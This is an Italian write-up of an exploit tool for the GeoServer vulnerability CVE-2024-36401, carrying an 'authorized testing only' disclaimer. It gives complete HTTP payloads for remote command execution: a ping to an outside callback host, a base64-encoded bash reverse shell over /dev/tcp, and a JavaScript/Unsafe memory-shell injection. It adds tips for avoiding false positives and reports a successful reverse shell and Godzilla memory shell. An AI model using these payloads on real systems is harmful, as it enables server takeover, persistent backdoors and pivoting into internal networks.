
strumento di sfruttamento della vulnerabilità CVE-2024-36401 di geoserver
geoserver CVE-2024-36401 Ambiente: JDK8. Dichiarazione: solo per test autorizzati. L'utente è responsabile di ogni conseguenza derivante da un uso improprio; l'autore non è coinvolto. Si prega di rispettare leggi e regolamenti!
1、Payload predefinito:
POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: / Connection: close Host: xxxx Accept-Language: en-US;q=0.9,en;q=0.8 Cache-Control: max-age=0 Content-Type: application/xml Content-Length: 356
<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference> </wfs:GetPropertyValue>
Ora nota qui: <wfs:Query typeNames='sf:archsites'/>
Qui, se devi ottenerlo tramite espressione regolare, questo è un identificatore di base del sito sf:archsites; devi prima recuperare le sue
informazioni wfs:ReturnFeatureType(.*?)</wfs:ReturnFeatureType>, quindi puoi procedere con la concatenazione.
Quando si valuta la vulnerabilità wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>
In questo punto, in realtà non è necessario cercare i record DNS.
La logica semplice è verificare se esiste una classe di eccezione.
Come java.lang.ClassCastException
Naturalmente, questa è solo la logica di valutazione.
Questa risposta è di default 400; qui è facile cadere in errore. Devi controllare la pagina di errore e poi effettuare la ricerca dei dati.
Prima di tutto devi inviare una richiesta per <wfs:ListStoredQueries service='WFS'\n" + " version='2.0.0'\n" + " xmlns:wfs='http://www.opengis.net/wfs/2.0'/>
Questo messaggio indica che puoi ottenere il wfs:ReturnFeatureType(.*?)</wfs:ReturnFeatureType>
Quindi assegnalo direttamente a una stringa, poi richiama un metodo di funzione e concatena le informazioni estratte dal testo al parametro <wfs:Query typeNames='sf:archsites'/>.
Questa rende la logica di rilevamento relativamente precisa; la classe di rilevamento va scritta in questo modo.
Se continui a usare sempre <wfs:Query typeNames='sf:archsites'/>, la probabilità di falsi positivi è molto alta e verrà segnalato che sf:archsites non viene trovato.
Reverse shell
Vediamo il payload per la reverse shell:
POST /geoserver/wfs HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close Cookie: JSESSIONID=5D030E92A0AFCC3B5006597E6524FD8D Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Priority: u=0, i Content-Type: application/xml Content-Length: 438
<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceexec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}')</wfs:valueReference> </wfs:GetPropertyValue>
Notiamo questo punto:
<wfs:Query typeNames='sf:archsites'/>
Allo stesso modo, devi prima ottenere il valore con un'espressione regolare e poi concatenarlo.
Quindi invia direttamente la richiesta.
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx è il base64 codificato.
Quando scrivi il codice, prendi l'input utente bash -i >& /dev/tcp/127.0.0.1/9999 0>&1, convertilo in base64 e il gioco è fatto.
Poi invia la richiesta e, allo stesso modo, cerca la classe di eccezione chiave e valuta la logica.
Iniezione di memory shell Questo punto POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept: / Connection: close Host: xxx Accept-Language: en-US;q=0.9,en;q=0.8 Cache-Control: max-age=0 Content-Type: application/xml Content-Length: 20383
<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> wfs:valueReferenceeval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),' var str=""; var bt; try { bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str); } catch (e) { bt = java.util.Base64.getDecoder().decode(str); } var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); theUnsafe.setAccessible(true); unsafe = theUnsafe.get(null); unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance(); ')</wfs:valueReference> </wfs:GetPropertyValue>
Anche qui c'è <wfs:Query typeNames='sf:archsites'/>; come al solito, prima ottieni il valore.
In star, inserisci il codice crittografato in base64 della memory shell che hai generato.
Poi basta applicare la logica di rilevamento.
Punti in cui è facile commettere errori 1、 Riutilizzare <wfs:Query typeNames='sf:archsites'/> ripetutamente ha una probabilità di falso positivo del 98%; l'errore è il seguente:
https://geoserver.epic.blue/geoserver/schemas/ows/1.1.0/owsAll.xsd"> <ows:Exception exceptionCode="InvalidParameterValue" locator="typeName"> ows:ExceptionTextCould not locate {http://www.openplans.org/spearfish}archsites in catalog.<
Punto in cui è presente la vulnerabilità: <ows:Exception exceptionCode="NoApplicableCode"> ows:ExceptionTextjava.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader 'bootstrap'; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a) class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader 'bootstrap'; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)</ows:ExceptionText> </ows:Exception>
In parole semplici, la vulnerabilità è presente quando compare java.lang.ClassCastException.
Il falso positivo è Could not locate {http://www.openplans.org/spearfish}archsites in catalog.
2、Metodo di rilevamento: Estrai il wfs:ReturnFeatureType> della chiamata, assegnalo a una stringa, richiama il metodo di funzione, invia la richiesta, concatena alla richiesta e valuta l'eccezione nella risposta.
Per quanto riguarda la chiamata di funzione sul testo, è necessario assegnare un valore in anticipo per evitare eccezioni di puntatore nullo; concatena prima della richiesta e valuta l'eccezione nella risposta; la valutazione avviene all'interno dell'eccezione.
Alla fine abbiamo completato lo sviluppo di questo strumento di exploit.

Testiamo la vulnerabilità.
Effetto dell'esecuzione dello strumento.


Nota: nessun output è equivalente a vulnerabilità non rilevata; se presente, verrà mostrato il segno +.
Se viene rilevata una vulnerabilità, si apre una reverse shell e si esegue un test di connessione; se la connessione riesce, si esegue un test sulla rete interna.
I futuri miglioramenti potrebbero includere memory shell personalizzate, rilevamento in batch e altre funzionalità.

Abbiamo rilevato la vulnerabilità, ottenuto l'endpoint e la reverse shell ha avuto successo.
Ora proviamo a iniettare una memory shell.

Mostra che l'iniezione della memory shell è riuscita. Connettiamoci per vedere se funziona.

È possibile connettersi.
Nota: test della memory shell, This GeoServer instance is running version 2.15.2. For more information please contact the
L'iniezione della memory shell in questa versione è riuscita.
Le versioni più recenti potrebbero fallire.
Per il resto, testate da soli.

Aggiunta la funzionalità di memory shell personalizzate.

Aggiunti i test ls e ping.
Corretto il problema dell'iniezione della memory shell.
Aggiunto il riconoscimento di Tomcat e Jetty.
La memory shell Godzilla viene iniettata di default nell'ambiente Jetty.
Per le memory shell personalizzate puoi scegliere di testare nell'ambiente Tomcat.
La versione batch non è ancora stata rilasciata.